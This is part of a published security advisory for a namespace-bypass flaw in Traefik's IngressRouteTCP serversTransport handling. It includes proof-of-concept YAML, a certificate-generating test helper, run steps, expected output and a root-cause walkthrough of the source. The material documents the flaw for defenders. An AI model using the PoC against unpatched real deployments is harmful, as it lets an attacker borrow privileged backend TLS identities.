time.Now().Add(time.Hour),\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,\n\t\tExtKeyUsage:  eku,\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, \u0026key.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tkeyDER := x509.MarshalPKCS1PrivateKey(key)\n\n\treturn pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: certDER}),\n\t\tpem.EncodeToMemory(\u0026pem.Block{Type: \"RSA PRIVATE KEY\", Bytes: keyDER})\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ewith_servers_transport_cross_provider_poc.yml\u003c/summary\u003e\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRouteTCP\nmetadata:\n  name: test.route\n  namespace: default\n\nspec:\n  entryPoints:\n    - foo\n\n  routes:\n  - match: HostSNI(`foo.com`)\n    priority: 12\n    services:\n    - name: whoamitcp\n      port: 8000\n      tls: true\n      serversTransport: foo@file\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.6.21 ./run.sh\n```\n\nOptional local-source override for faster local validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport=\"foo@file\" backend_tls=true\nPOC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=\"foo@file\" peer_cn=\"example.com\" response=\"PONG\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. The provider option is meant to cover IngressRouteTCP\n\n`pkg/provider/kubernetes/crd/kubernetes.go:60`\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references.\" ...`\n```\n\nThis establishes the security invariant: `IngressRouteTCP` cross-provider\nreferences should be gated by `crossProviderNamespaces`.\n\n### 2. TCP service creation forwards the attacker-controlled transport name\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`\n\n```go\nif service.ServersTransport != \"\" {\n\ttcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)\n}\n```\n\nThe attacker-controlled `serversTransport` field is passed into the key builder.\n\n### 3. TCP key builder returns cross-provider names without the allowlist check\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`\n\n```go\nif strings.Contains(serversTransportName, providerNamespaceSeparator) {\n\treturn serversTransportName, nil\n}\n```\n\nThis accepts `foo@file` directly. There is no call to\n`isCrossProviderNamespaceAllowed(...)` on this TCP path.\n\n### 4. HTTP sibling contains the missing authorization gate\n\n`pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`\n\n```go\nif !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {\n\treturn \"\", fmt.Errorf(\"serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces\", ...)\n}\n```\n\nThe HTTP path proves the intended policy: cross-provider `serversTransport`\nreferences should be rejected when the route namespace is not in the allowlist.\n\n### 5. Runtime TCP dialer consumes the exact referenced transport\n\n`pkg/tcp/dialer.go:135-141`\n\n```go\nif config.ServersTransport != \"\" {\n\tname = config.ServersTransport\n}\nst, ok := d.serversTransports[name]\n```\n\n`pkg/tcp/dialer.go:183-188`\n\n```go\ntlsConfig = \u0026tls.Config{\n\tServerName:   st.TLS.ServerName,\n\tCertificates: st.TLS.Certificates.GetCertificates(),\n}\n```\n\nThe accepted `foo@file` reference is not a harmless string. It selects the\ncross-provider transport and applies its client TLS identity during backend\nconnections.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-42cj-m3vj-89wv",
  "modified": "2026-08-05T21:53:35Z",
  "published": "2026-08-05T21:53:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/67501cbe7bc7774e26ecbd1c29af97f098e14b0b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…